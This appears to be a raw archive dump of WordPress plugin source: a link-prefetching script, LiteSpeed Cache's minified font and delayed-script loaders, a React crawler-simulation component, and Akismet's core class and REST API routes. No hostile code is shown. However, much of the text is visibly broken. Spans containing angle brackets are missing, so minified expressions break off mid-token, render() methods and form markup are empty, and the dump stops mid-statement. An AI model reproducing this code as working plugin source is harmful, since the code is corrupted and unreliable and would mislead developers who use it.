this.options.onResize&&this.options.onResize(this)),this.state!=l.OPENED&&this.state!=l.OPENING||(this.options.iframe===!0&&(o=s.width()?this.$element.find("."+r+"-button-fullscreen").hide():this.$element.find("."+r+"-button-fullscreen").show(),this.recalcButtons(),this.isFullscreen===!1&&(o=o-(n(this.options.top)||0)-(n(this.options.bottom)||0)),c>o?(this.options.top>0&&null===this.options.bottom&&h0&&null===this.options.top&&hu&&c>o?(e.$element.addClass("hasScroll"),e.$wrap.css("height",a-(e.headerHeight+f))):(e.$element.removeClass("hasScroll"),e.$wrap.css("height","auto"))}(),function(){u+p1){try{n.$el=document.createElement(id[0])}catch(o){}n.$el.id=this.selector.split("#")[1].trim()}else if(n["class"].length>1){try{n.$el=document.createElement(n["class"][0])}catch(o){}for(var s=1;s // (though sometimes webmasters load it as a regular script). // So it’s normally executed (and must not cause JavaScript errors) in: // - Chromium 61+ // - Gecko in Firefox 60+ // - WebKit in Safari 10.1+ (iOS 10.3+, macOS 10.10+) // // The check above used to check for IntersectionObserverEntry.isIntersecting // but module scripts support implies this compatibility — except in Safari // 10.1–12.0, but this prefetch check takes care of it. // // The modulepreload check is used to drop support for Firefox < 115 in order // to lessen maintenance. // This implies Safari 17+ (if it supported prefetch), if we ever support // fetch()-based preloading for Safari we might want to OR that check with // something that Safari 15.4 or 16.4 supports. // Also implies Chromium 66+. if (!isSupported) { return } const handleVaryAcceptHeader = 'instantVaryAccept' in document.body.dataset || 'Shopify' in window // The `Vary: Accept` header when received in Chromium 79–109 makes prefetches // unusable, as Chromium used to send a different `Accept` header. // It’s applied on all Shopify sites by default, as Shopify is very popular // and is the main source of this problem. // `window.Shopify` only exists on “classic” Shopify sites. Those using // Hydrogen (Remix SPA) aren’t concerned. const chromiumUserAgentIndex = navigator.userAgent.indexOf('Chrome/') if (chromiumUserAgentIndex > -1) { _chromiumMajorVersionInUserAgent = parseInt(navigator.userAgent.substring(chromiumUserAgentIndex + 'Chrome/'.length)) } // The user agent client hints API is a theoretically more reliable way to // get Chromium’s version… but it’s not available in Samsung Internet 20. // It also requires a secure context, which would make debugging harder, // and is only available in recent Chromium versions. // In practice, Chromium browsers never shy from announcing "Chrome" in // their regular user agent string, as that maximizes their compatibility. if (handleVaryAcceptHeader && _chromiumMajorVersionInUserAgent && _chromiumMajorVersionInUserAgent < 110) { return } _speculationRulesType = 'none' if (HTMLScriptElement.supports && HTMLScriptElement.supports('speculationrules')) { const speculationRulesConfig = document.body.dataset.instantSpecrules if (speculationRulesConfig == 'prerender') { _speculationRulesType = 'prerender' } else if (speculationRulesConfig != 'no') { _speculationRulesType = 'prefetch' } } const useMousedownShortcut = 'instantMousedownShortcut' in document.body.dataset _allowQueryString = 'instantAllowQueryString' in document.body.dataset _allowExternalLinks = 'instantAllowExternalLinks' in document.body.dataset _useWhitelist = 'instantWhitelist' in document.body.dataset let preloadOnMousedown = false let preloadOnlyOnMousedown = false let preloadWhenVisible = false if ('instantIntensity' in document.body.dataset) { const intensityParameter = document.body.dataset.instantIntensity if (intensityParameter == 'mousedown' && !useMousedownShortcut) { preloadOnMousedown = true } if (intensityParameter == 'mousedown-only' && !useMousedownShortcut) { preloadOnMousedown = true preloadOnlyOnMousedown = true } if (intensityParameter == 'viewport') { const isOnSmallScreen = document.documentElement.clientWidth * document.documentElement.clientHeight < 450000 // Smartphones are the most likely to have a slow connection, and // their small screen size limits the number of links (and thus // server load). // // Foldable phones (being expensive as of 2023), tablets and PCs // generally have a decent connection, and a big screen displaying // more links that would put more load on the server. // // iPhone 14 Pro Max (want): 430×932 = 400 760 // Samsung Galaxy S22 Ultra with display size set to 80% (want): // 450×965 = 434 250 // Small tablet (don’t want): 600×960 = 576 000 // Those number are virtual screen size, the viewport (used for // the check above) will be smaller with the browser’s interface. const isNavigatorConnectionSaveDataEnabled = navigator.connection && navigator.connection.saveData const isNavigatorConnectionLike2g = navigator.connection && navigator.connection.effectiveType && navigator.connection.effectiveType.includes('2g') const isNavigatorConnectionAdequate = !isNavigatorConnectionSaveDataEnabled && !isNavigatorConnectionLike2g if (isOnSmallScreen && isNavigatorConnectionAdequate) { preloadWhenVisible = true } } if (intensityParameter == 'viewport-all') { preloadWhenVisible = true } const intensityAsInteger = parseInt(intensityParameter) if (!isNaN(intensityAsInteger)) { _delayOnHover = intensityAsInteger } } const eventListenersOptions = { capture: true, passive: true, } if (preloadOnlyOnMousedown) { document.addEventListener('touchstart', touchstartEmptyListener, eventListenersOptions) } else { document.addEventListener('touchstart', touchstartListener, eventListenersOptions) } if (!preloadOnMousedown) { document.addEventListener('mouseover', mouseoverListener, eventListenersOptions) } if (preloadOnMousedown) { document.addEventListener('mousedown', mousedownListener, eventListenersOptions) } if (useMousedownShortcut) { document.addEventListener('mousedown', mousedownShortcutListener, eventListenersOptions) } if (preloadWhenVisible) { let requestIdleCallbackOrFallback = window.requestIdleCallback // Safari has no support as of 16.3: https://webkit.org/b/164193 if (!requestIdleCallbackOrFallback) { requestIdleCallbackOrFallback = (callback) => { callback() // A smarter fallback like setTimeout is not used because devices that // may eventually be eligible to a Safari version supporting prefetch // will be very powerful. // The weakest devices that could be eligible are the 2017 iPad and // the 2016 MacBook. } } requestIdleCallbackOrFallback(function observeIntersection() { const intersectionObserver = new IntersectionObserver((entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { const anchorElement = entry.target intersectionObserver.unobserve(anchorElement) preload(anchorElement.href) } }) }) document.querySelectorAll('a').forEach((anchorElement) => { if (isPreloadable(anchorElement)) { intersectionObserver.observe(anchorElement) } }) }, { timeout: 1500, }) } } function touchstartListener(event) { _lastTouchstartEvent = event const anchorElement = event.target.closest('a') if (!isPreloadable(anchorElement)) { return } preload(anchorElement.href, 'high') } function touchstartEmptyListener(event) { _lastTouchstartEvent = event } function mouseoverListener(event) { if (isEventLikelyTriggeredByTouch(event)) { // This avoids uselessly adding a mouseout event listener and setting a timer. return } if (!('closest' in event.target)) { return // Without this check sometimes an error “event.target.closest is not a function” is thrown, for unknown reasons // That error denotes that `event.target` isn’t undefined. My best guess is that it’s the Document. // // Details could be gleaned from throwing such an error: //throw new TypeError(`instant.page non-element event target: timeStamp=${~~event.timeStamp}, type=${event.type}, typeof=${typeof event.target}, nodeType=${event.target.nodeType}, nodeName=${event.target.nodeName}, viewport=${innerWidth}x${innerHeight}, coords=${event.clientX}x${event.clientY}, scroll=${scrollX}x${scrollY}`) } const anchorElement = event.target.closest('a') if (!isPreloadable(anchorElement)) { return } anchorElement.addEventListener('mouseout', mouseoutListener, {passive: true}) _mouseoverTimer = setTimeout(() => { preload(anchorElement.href, 'high') _mouseoverTimer = null }, _delayOnHover) } function mousedownListener(event) { if (isEventLikelyTriggeredByTouch(event)) { // When preloading only on mousedown, not touch, we need to stop there // because touches send compatibility mouse events including mousedown. // // (When preloading on touchstart, instructions below this block would // have no effect.) return } const anchorElement = event.target.closest('a') if (!isPreloadable(anchorElement)) { return } preload(anchorElement.href, 'high') } function mouseoutListener(event) { if (event.relatedTarget && event.target.closest('a') == event.relatedTarget.closest('a')) { return } if (_mouseoverTimer) { clearTimeout(_mouseoverTimer) _mouseoverTimer = null } } function mousedownShortcutListener(event) { if (isEventLikelyTriggeredByTouch(event)) { // Due to a high potential for complications with this mousedown shortcut // combined with other parties’ JavaScript code, we don’t want it to run // at all on touch devices, even though mousedown and click are triggered // at almost the same time on touch. return } const anchorElement = event.target.closest('a') if (event.which > 1 || event.metaKey || event.ctrlKey) { return } if (!anchorElement) { return } anchorElement.addEventListener('click', function (event) { if (event.detail == 1337) { return } event.preventDefault() }, {capture: true, passive: false, once: true}) const customEvent = new MouseEvent('click', {view: window, bubbles: true, cancelable: false, detail: 1337}) anchorElement.dispatchEvent(customEvent) } function isEventLikelyTriggeredByTouch(event) { // Touch devices fire “mouseover” and “mousedown” (and other) events after // a touch for compatibility reasons. // This function checks if it’s likely that we’re dealing with such an event. if (!_lastTouchstartEvent || !event) { return false } if (event.target != _lastTouchstartEvent.target) { return false } const now = event.timeStamp // Chromium (tested Chrome 95 and 122 on Android) sometimes uses the same // event.timeStamp value in touchstart, mouseover, and mousedown. // Testable in test/extras/delay-not-considered-touch.html // This is okay for our purpose: two equivalent timestamps will be less // than the max duration, which means they’re related events. // TODO: fill/find Chromium bug const durationBetweenLastTouchstartAndNow = now - _lastTouchstartEvent.timeStamp const MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART = 2500 // How long after a touchstart event can a simulated mouseover/mousedown event fire? // /test/extras/delay-not-considered-touch.html tries to answer that question. // I saw up to 1450 ms on an overwhelmed Samsung Galaxy S2. // On the other hand, how soon can an unrelated mouseover event happen after an unrelated touchstart? // Meaning the user taps a link, then grabs their pointing device and clicks another/the same link. // That scenario could occur if a user taps a link, thinks it hasn’t worked, and thus fall back to their pointing device. // I do that in about 1200 ms on a Chromebook. In which case this function returns a false positive. // False positives are okay, as this function is only used to decide to abort handling mouseover/mousedown/mousedownShortcut. // False negatives could lead to unforeseen state, particularly in mousedownShortcutListener. return durationBetweenLastTouchstartAndNow < MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART // TODO: Investigate if pointer events could be used. // https://developer.mozilla.org/en-US/docs/Web/API/PointerEvent/pointerType // TODO: Investigate if InputDeviceCapabilities could be used to make it // less hacky on Chromium browsers. // https://developer.mozilla.org/en-US/docs/Web/API/InputDeviceCapabilities_API // https://wicg.github.io/input-device-capabilities/ // Needs careful reading of the spec and tests (notably, what happens with a // mouse connected to an Android or iOS smartphone?) to make sure it’s solid. // Also need to judge if WebKit could implement it differently, as they // don’t mind doing when a spec gives room to interpretation. // It seems to work well on Chrome on ChromeOS. // TODO: Consider using event screen position as another heuristic. } function isPreloadable(anchorElement) { if (!anchorElement || !anchorElement.href) { return } if (_useWhitelist && !('instant' in anchorElement.dataset)) { return } if (anchorElement.origin != location.origin) { let allowed = _allowExternalLinks || 'instant' in anchorElement.dataset if (!allowed || !_chromiumMajorVersionInUserAgent) { // Chromium-only: see comment on “restrictive prefetch” and “cross-site speculation rules prefetch” return } } if (!['http:', 'https:'].includes(anchorElement.protocol)) { return } if (anchorElement.protocol == 'http:' && location.protocol == 'https:') { return } if (!_allowQueryString && anchorElement.search && !('instant' in anchorElement.dataset)) { return } if (anchorElement.hash && anchorElement.pathname + anchorElement.search == location.pathname + location.search) { return } if ('noInstant' in anchorElement.dataset) { return } return true } function preload(url, fetchPriority = 'auto') { if (_preloadedList.has(url)) { return } if (_speculationRulesType != 'none') { preloadUsingSpeculationRules(url) } else { preloadUsingLinkElement(url, fetchPriority) } _preloadedList.add(url) } function preloadUsingSpeculationRules(url) { const scriptElement = document.createElement('script') scriptElement.type = 'speculationrules' scriptElement.textContent = JSON.stringify({ [_speculationRulesType]: [{ source: 'list', urls: [url] }] }) // When using speculation rules, cross-site prefetch is supported, but will // only work if the user has no cookies for the destination site. The // prefetch will not be sent, if the user does have such cookies. document.head.appendChild(scriptElement) } function preloadUsingLinkElement(url, fetchPriority = 'auto') { const linkElement = document.createElement('link') linkElement.rel = 'prefetch' linkElement.href = url linkElement.fetchPriority = fetchPriority // By default, a prefetch is loaded with a low priority. // When there’s a fair chance that this prefetch is going to be used in the // near term (= after a touch/mouse event), giving it a high priority helps // make the page load faster in case there are other resources loading. // Prioritizing it implicitly means deprioritizing every other resource // that’s loading on the page. Due to HTML documents usually being much // smaller than other resources (notably images and JavaScript), and // prefetches happening once the initial page is sufficiently loaded, // this theft of bandwidth should rarely be detrimental. linkElement.as = 'document' // as=document is Chromium-only and allows cross-origin prefetches to be // usable for navigation. They call it “restrictive prefetch” and intend // to remove it: https://crbug.com/1352371 // // This document from the Chrome team dated 2022-08-10 // https://docs.google.com/document/d/1x232KJUIwIf-k08vpNfV85sVCRHkAxldfuIA5KOqi6M // claims (I haven’t tested) that data- and battery-saver modes as well as // the setting to disable preloading do not disable restrictive prefetch, // unlike regular prefetch. That’s good for prefetching on a touch/mouse // event, but might be bad when prefetching every link in the viewport. document.head.appendChild(linkElement) }plugins/litespeed-cache/assets/js/webfontloader.min.js000064400000027502152335264760017160 0ustar00!function(){function e(t,n,i){return t.call.apply(t.bind,arguments)}function o(n,i,t){if(!n)throw Error();if(2=a.f?e():o.fonts.load((t=a.a,j(t)+" "+t.f+"00 300px "+b(t.c)),a.h).then(function(t){1<=t.length?i():setTimeout(n,25)},function(){e()})}()}),i=null,n=new Promise(function(t,n){i=setTimeout(n,a.f)});Promise.race([n,t]).then(function(){i&&(clearTimeout(i),i=null),a.g(a.a)},function(){a.j(a.a)})};var F={D:"serif",C:"sans-serif"},I=null;function O(){if(null===I){var t=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent);I=!!t&&(parseInt(t[1],10)<536||536===parseInt(t[1],10)&&parseInt(t[2],10)<=11)}return I}function P(t,n,i){for(var e in F)if(F.hasOwnProperty(e)&&n===t.f[F[e]]&&i===t.f[F[e]])return!0;return!1}function B(t){var n,i=t.g.a.offsetWidth,e=t.h.a.offsetWidth;(n=i===t.f.serif&&e===t.f["sans-serif"])||(n=O()&&P(t,i,e)),n?r()-t.A>=t.w?O()&&P(t,i,e)&&(null===t.u||t.u.hasOwnProperty(t.a.c))?L(t,t.v):L(t,t.B):setTimeout(d(function(){B(this)},t),50):L(t,t.v)}function L(t,n){setTimeout(d(function(){i(this.g.a),i(this.h.a),i(this.j.a),i(this.m.a),n(this.a)},t),0)}function D(t,n,i){this.c=t,this.a=n,this.f=0,this.m=this.j=!1,this.s=i}W.prototype.start=function(){this.f.serif=this.j.a.offsetWidth,this.f["sans-serif"]=this.m.a.offsetWidth,this.A=r(),B(this)};var $=null;function q(t){0==--t.f&&t.j&&(t.m?((t=t.a).g&&g(t.f,[t.a.c("wf","active")],[t.a.c("wf","loading"),t.a.c("wf","inactive")]),T(t,"active")):k(t.a))}function t(t){this.j=t,this.a=new S,this.h=0,this.f=this.g=!0}function H(t,n){this.c=t,this.a=n}function M(t,n){this.c=t,this.a=n}function z(t,n){this.c=t||"https://fonts.googleapis.com/css",this.a=[],this.f=[],this.g=n||""}D.prototype.g=function(t){var n=this.a;n.g&&g(n.f,[n.a.c("wf",t.c,x(t).toString(),"active")],[n.a.c("wf",t.c,x(t).toString(),"loading"),n.a.c("wf",t.c,x(t).toString(),"inactive")]),T(n,"fontactive",t),this.m=!0,q(this)},D.prototype.h=function(t){var n=this.a;if(n.g){var i=a(n.f,n.a.c("wf",t.c,x(t).toString(),"active")),e=[],o=[n.a.c("wf",t.c,x(t).toString(),"loading")];i||e.push(n.a.c("wf",t.c,x(t).toString(),"inactive")),g(n.f,e,o)}T(n,"fontinactive",t),q(this)},t.prototype.load=function(t){this.c=new n(this.j,t.context||this.j),this.g=!1!==t.events,this.f=!1!==t.classes,function(o,t,n){var i=[],e=n.timeout;a=t,a.g&&g(a.f,[a.a.c("wf","loading")]),T(a,"loading");var a;var i=function(t,n,i){var e,o=[];for(e in n)if(n.hasOwnProperty(e)){var a=t.c[e];a&&o.push(a(n[e],i))}return o}(o.a,n,o.c),s=new D(o.c,t,e);for(o.h=i.length,t=0,n=i.length;t{window.removeEventListener(e,litespeed_load_delayed_js_force,{passive:!0})}),document.querySelectorAll("iframe[data-litespeed-src]").forEach(e=>{e.setAttribute("src",e.getAttribute("data-litespeed-src"))}),"loading"==document.readyState?window.addEventListener("DOMContentLoaded",litespeed_load_delayed_js):litespeed_load_delayed_js()}litespeed_ui_events.forEach(e=>{window.addEventListener(e,litespeed_load_delayed_js_force,{passive:!0})});async function litespeed_load_delayed_js(){let t=[];for(var d in document.querySelectorAll('script[type="litespeed/javascript"]').forEach(e=>{t.push(e)}),t)await new Promise(e=>litespeed_load_one(t[d],e));document.dispatchEvent(new Event("DOMContentLiteSpeedLoaded")),window.dispatchEvent(new Event("DOMContentLiteSpeedLoaded"))}function litespeed_load_one(t,e){console.log("[LiteSpeed] Load ",t);var d=document.createElement("script");d.addEventListener("load",e),d.addEventListener("error",e),t.getAttributeNames().forEach(e=>{"type"!=e&&d.setAttribute("data-src"==e?"src":e,t.getAttribute(e))});let a=!(d.type="text/javascript");!d.src&&t.textContent&&(d.src=litespeed_inline2src(t.textContent),a=!0),t.after(d),t.remove(),a&&e()}function litespeed_inline2src(t){try{var d=urlCreator.createObjectURL(new Blob([t.replace(/^(?:)?$/gm,"$1")],{type:"text/javascript"}))}catch(e){d="data:text/javascript;base64,"+btoa(t.replace(/^(?:)?$/gm,"$1"))}return d}plugins/litespeed-cache/assets/js/component.crawler.js000064400000005664152335264760017210 0ustar00/** * Crawler simulation module * @author Hai Zheng */ class CrawlerSimulate extends React.Component { constructor(props) { super(props); this.state = { list: props.list, }; this.handleInputChange = this.handleInputChange.bind(this); this.delRow = this.delRow.bind(this); this.addNew = this.addNew.bind(this); } handleInputChange(e, index) { const target = e.target; const value = target.type === 'checkbox' ? target.checked : target.value; const list = this.state.list; list[index][target.dataset.type] = value; this.setState({ list: list, }); } delRow(index) { const data = this.state.list; data.splice(index, 1); this.setState({ list: data }); } addNew() { const list = this.state.list; list.push({ name: '', vals: '' }); this.setState({ list: list }); } render() { return ( {this.state.list.map((item, i) => ( ))}

    ); } } // { name: '', vals: '' } class SimulationBlock extends React.Component { constructor(props) { super(props); this.handleInputChange = this.handleInputChange.bind(this); this.delRow = this.delRow.bind(this); } handleInputChange(e) { this.props.handleInputChange(e, this.props.index); } delRow() { this.props.delRow(this.props.index); } render() { const item = this.props.item; return (
    '; if ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() ) { // Keep track of how many ak_js fields are in this page so that we don't re-use // the same ID. static $field_count = 0; ++$field_count; $fields .= ''; $fields .= wp_get_inline_script_tag( 'document.getElementById( "ak_js_' . $field_count . '" ).setAttribute( "value", ( new Date() ).getTime() );' ); } $fields .= '

    '; return $fields; } public static function output_custom_form_fields( $post_id ) { if ( 'fluentform/form_element_start' === current_filter() && did_action( 'fluentform_form_element_start' ) ) { // Already did this via the legacy filter. return; } // phpcs:ignore WordPress.Security.EscapeOutput echo self::get_akismet_form_fields(); } public static function inject_custom_form_fields( $html ) { $html = str_replace( '', self::get_akismet_form_fields() . '', $html ); return $html; } public static function append_custom_form_fields( $html ) { $html .= self::get_akismet_form_fields(); return $html; } /** * Ensure that any Akismet-added form fields are included in the comment-check call. * * @param array $form * @param array $data Some plugins will supply the POST data via the filter, since they don't * read it directly from $_POST. * @return array $form */ public static function prepare_custom_form_values( $form, $data = null ) { if ( 'fluentform/akismet_fields' === current_filter() && did_filter( 'fluentform_akismet_fields' ) ) { // Already updated the form fields via the legacy filter. return $form; } if ( is_null( $data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $data = $_POST; } $prefix = 'ak_'; // Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content. if ( 'wpcf7_akismet_parameters' === current_filter() ) { $prefix = '_wpcf7_ak_'; } foreach ( $data as $key => $val ) { if ( 0 === strpos( $key, $prefix ) ) { $form[ 'POST_ak_' . substr( $key, strlen( $prefix ) ) ] = $val; } } return $form; } private static function bail_on_activation( $message, $deactivate = true ) { ?>

    $plugin ) { if ( $plugin === $akismet ) { $plugins[ $i ] = false; $update = true; } } if ( $update ) { update_option( 'active_plugins', array_filter( $plugins ) ); } } exit; } public static function view( $name, array $args = array() ) { $args = apply_filters( 'akismet_view_arguments', $args, $name ); foreach ( $args as $key => $val ) { $$key = $val; } $file = AKISMET__PLUGIN_DIR . 'views/' . basename( $name ) . '.php'; if ( file_exists( $file ) ) { include $file; } } /** * Attached to activate_{ plugin_basename( __FILES__ ) } by register_activation_hook() * * @static */ public static function plugin_activation() { if ( version_compare( $GLOBALS['wp_version'], AKISMET__MINIMUM_WP_VERSION, '<' ) ) { $message = '' . /* translators: 1: Current Akismet version number, 2: Minimum WordPress version number required. */ sprintf( esc_html__( 'Akismet %1$s requires WordPress %2$s or higher.', 'akismet' ), AKISMET_VERSION, AKISMET__MINIMUM_WP_VERSION ) . ' ' . /* translators: 1: WordPress documentation URL, 2: Akismet download URL. */ sprintf( __( 'Please upgrade WordPress to a current version, or downgrade to version 2.4 of the Akismet plugin.', 'akismet' ), 'https://codex.wordpress.org/Upgrading_WordPress', 'https://wordpress.org/plugins/akismet' ); self::bail_on_activation( $message ); } elseif ( ! empty( $_SERVER['SCRIPT_NAME'] ) && false !== strpos( $_SERVER['SCRIPT_NAME'], '/wp-admin/plugins.php' ) ) { add_option( 'Activated_Akismet', true ); } } /** * Removes all connection options * * @static */ public static function plugin_deactivation() { self::deactivate_key( self::get_api_key() ); // Remove any scheduled cron jobs. $akismet_cron_events = array( 'akismet_schedule_cron_recheck', 'akismet_scheduled_delete', ); foreach ( $akismet_cron_events as $akismet_cron_event ) { $timestamp = wp_next_scheduled( $akismet_cron_event ); if ( $timestamp ) { wp_unschedule_event( $timestamp, $akismet_cron_event ); } } } /** * Essentially a copy of WP's build_query but one that doesn't expect pre-urlencoded values. * * @param array $args An array of key => value pairs * @return string A string ready for use as a URL query string. */ public static function build_query( $args ) { return _http_build_query( $args, '', '&' ); } /** * Log debugging info to the error log. * * Enabled when WP_DEBUG_LOG is enabled (and WP_DEBUG, since according to * core, "WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless * WP_DEBUG is true), but can be disabled via the akismet_debug_log filter. * * @param mixed $akismet_debug The data to log. */ public static function log( $akismet_debug ) { if ( apply_filters( 'akismet_debug_log', defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG && defined( 'AKISMET_DEBUG' ) && AKISMET_DEBUG ) ) { error_log( print_r( compact( 'akismet_debug' ), true ) ); } } /** * Check pingbacks for spam before they're saved to the DB. * * @param string $method The XML-RPC method that was called. * @param array $args This and the $server arg are marked as optional since plugins might still be * calling do_action( 'xmlrpc_action', [...] ) without the arguments that were added in WP 5.7. * @param wp_xmlrpc_server $server */ public static function pre_check_pingback( $method, $args = array(), $server = null ) { if ( $method !== 'pingback.ping' ) { return; } /* * $args looks like this: * * Array * ( * [0] => http://www.example.net/?p=1 // Site that created the pingback. * [1] => https://www.example.com/?p=2 // Post being pingback'd on this site. * ) */ if ( ! is_null( $server ) && ! empty( $args[1] ) ) { $is_multicall = false; $multicall_count = 0; if ( 'system.multicall' === $server->message->methodName ) { $is_multicall = true; $multicall_count = is_countable( $server->message->params ) ? count( $server->message->params ) : 0; } $post_id = url_to_postid( $args[1] ); // If pingbacks aren't open on this post, we'll still check whether this request is part of a potential DDOS, // but indicate to the server that pingbacks are indeed closed so we don't include this request in the user's stats, // since the user has already done their part by disabling pingbacks. $pingbacks_closed = false; $post = get_post( $post_id ); if ( ! $post || ! pings_open( $post ) ) { $pingbacks_closed = true; } $comment = array( 'comment_author_url' => $args[0], 'comment_post_ID' => $post_id, 'comment_author' => '', 'comment_author_email' => '', 'comment_content' => '', 'comment_type' => 'pingback', 'akismet_pre_check' => '1', 'comment_pingback_target' => $args[1], 'pingbacks_closed' => $pingbacks_closed ? '1' : '0', 'is_multicall' => $is_multicall, 'multicall_count' => $multicall_count, ); $comment = self::auto_check_comment( $comment, 'xml-rpc' ); if ( isset( $comment['akismet_result'] ) && 'true' == $comment['akismet_result'] ) { // Sad: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything. $server->error( new IXR_Error( 0, 'Invalid discovery target' ) ); // Also note that if this was part of a multicall, a spam result will prevent the subsequent calls from being executed. // This is probably fine, but it raises the bar for what should be acceptable as a false positive. } } } /** * Ensure that we are loading expected scalar values from akismet_as_submitted commentmeta. * * @param mixed $meta_value * @return mixed */ private static function sanitize_comment_as_submitted( $meta_value ) { if ( empty( $meta_value ) ) { return $meta_value; } $meta_value = (array) $meta_value; foreach ( $meta_value as $key => $value ) { if ( ! is_scalar( $value ) ) { unset( $meta_value[ $key ] ); } else { // These can change, so they're not explicitly listed in comment_as_submitted_allowed_keys. if ( strpos( $key, 'POST_ak_' ) === 0 ) { continue; } if ( ! isset( self::$comment_as_submitted_allowed_keys[ $key ] ) ) { unset( $meta_value[ $key ] ); } } } return $meta_value; } public static function predefined_api_key() { if ( defined( 'WPCOM_API_KEY' ) ) { return true; } return apply_filters( 'akismet_predefined_api_key', false ); } /** * Controls the display of a privacy related notice underneath the comment * form using the `akismet_comment_form_privacy_notice` option and filter * respectively. * * Default is to not display the notice, leaving the choice to site admins, * or integrators. */ public static function display_comment_form_privacy_notice() { if ( 'display' !== apply_filters( 'akismet_comment_form_privacy_notice', get_option( 'akismet_comment_form_privacy_notice', 'hide' ) ) ) { return; } echo apply_filters( 'akismet_comment_form_privacy_notice_markup', '

    ' . wp_kses( sprintf( /* translators: %s: Akismet privacy URL */ __( 'This site uses Akismet to reduce spam. Learn how your comment data is processed.', 'akismet' ), 'https://akismet.com/privacy/' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), ) ) . '

    ' ); } public static function load_form_js() { if ( ! is_admin() && ( ! function_exists( 'amp_is_request' ) || ! amp_is_request() ) && self::get_api_key() ) { wp_register_script( 'akismet-frontend', plugin_dir_url( __FILE__ ) . '_inc/akismet-frontend.js', array(), filemtime( plugin_dir_path( __FILE__ ) . '_inc/akismet-frontend.js' ), true ); wp_enqueue_script( 'akismet-frontend' ); } } /** * Add the form JavaScript when we detect that a supported form shortcode is being parsed. */ public static function load_form_js_via_filter( $return_value, $tag, $attr, $m ) { if ( in_array( $tag, array( 'contact-form', 'gravityform', 'contact-form-7', 'formidable', 'fluentform' ) ) ) { self::load_form_js(); } return $return_value; } /** * Was the last entry in the comment history created by Akismet? * * @param int $comment_id The ID of the comment. * @return bool */ public static function last_comment_status_change_came_from_akismet( $comment_id ) { $history = self::get_comment_history( $comment_id ); if ( empty( $history ) ) { return false; } $most_recent_history_event = $history[0]; if ( ! isset( $most_recent_history_event['event'] ) ) { return false; } $akismet_history_events = array( 'check-error', 'cron-retry-ham', 'cron-retry-spam', 'check-ham', 'check-ham-pending', 'check-spam', 'recheck-error', 'recheck-ham', 'recheck-spam', 'webhook-ham', 'webhook-spam', ); if ( in_array( $most_recent_history_event['event'], $akismet_history_events ) ) { return true; } return false; } /** * Check the comment history to find out what the most recent comment-check * response said about this comment. * * This value is then included in submit-ham and submit-spam requests to allow * us to know whether the comment is actually a missed spam/ham or if it's * just being reclassified after either never being checked or being mistakenly * marked as ham/spam. * * @param int $comment_id The comment ID. * @return string 'true', 'false', or an empty string if we don't have a record * of comment-check being called. */ public static function last_comment_check_response( $comment_id ) { $history = self::get_comment_history( $comment_id ); if ( $history ) { $history = array_reverse( $history ); foreach ( $history as $akismet_history_entry ) { // We've always been consistent in how history entries are formatted // but comment_meta is writable by everyone, so don't assume that all // entries contain the expected parts. if ( ! is_array( $akismet_history_entry ) ) { continue; } if ( ! isset( $akismet_history_entry['event'] ) ) { continue; } if ( in_array( $akismet_history_entry['event'], array( 'recheck-spam', 'check-spam', 'cron-retry-spam', 'webhook-spam', 'webhook-spam-noaction', ), true ) ) { return 'true'; } elseif ( in_array( $akismet_history_entry['event'], array( 'recheck-ham', 'check-ham', 'cron-retry-ham', 'webhook-ham', 'webhook-ham-noaction', ), true ) ) { return 'false'; } } } return ''; } } plugins/akismet/class.akismet-rest-api.php000064400000050115152335264760014675 0ustar00 WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_key' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_key' ), 'args' => array( 'key' => array( 'required' => true, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/account', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'delete_key' ), ), ) ); register_rest_route( 'akismet/v1', '/settings/', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_settings' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_boolean_settings' ), 'args' => array( 'akismet_strictness' => array( 'required' => false, 'type' => 'boolean', 'description' => __( 'If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder.', 'akismet' ), ), 'akismet_show_user_comments_approved' => array( 'required' => false, 'type' => 'boolean', 'description' => __( 'If true, show the number of approved comments beside each comment author in the comments list page.', 'akismet' ), ), 'akismet_enable_mcp_access' => array( 'required' => false, 'type' => 'boolean', 'description' => __( 'If true, allow MCP clients to access Akismet data and functionality.', 'akismet' ), ), ), ), ) ); register_rest_route( 'akismet/v1', '/stats', array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_stats' ), 'args' => array( 'interval' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_interval' ), 'description' => __( 'The time period for which to retrieve stats. Options: 60-days, 6-months, all', 'akismet' ), 'default' => 'all', ), ), ) ); register_rest_route( 'akismet/v1', '/stats/(?P[\w+])', array( 'args' => array( 'interval' => array( 'description' => __( 'The time period for which to retrieve stats. Options: 60-days, 6-months, all', 'akismet' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => 